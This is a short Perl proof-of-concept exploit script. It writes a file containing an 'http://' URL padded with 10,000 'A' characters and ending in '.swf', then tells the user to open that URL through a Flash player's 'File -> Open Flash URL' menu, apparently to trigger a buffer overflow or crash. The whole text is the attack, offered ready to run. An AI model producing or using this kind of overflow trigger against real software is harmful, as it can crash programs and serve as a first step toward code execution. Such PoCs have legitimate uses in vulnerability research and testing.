#---------------------------------------------------------------------------------#
#!/usr/bin/perl
use strict;
use warnings;
my $filename = "poc.txt" ;
my $junk = "A" x 10000;
open (FILE, ">$filename" ) || die "[-]Error:\n$!\n" ;
print FILE "http://$junk.swf" ;
close (FILE);
print "Exploit file created successfully [$filename]!\n" ;
print "Now open the URL in $filename via File -> Open Flash URL\n" ;
|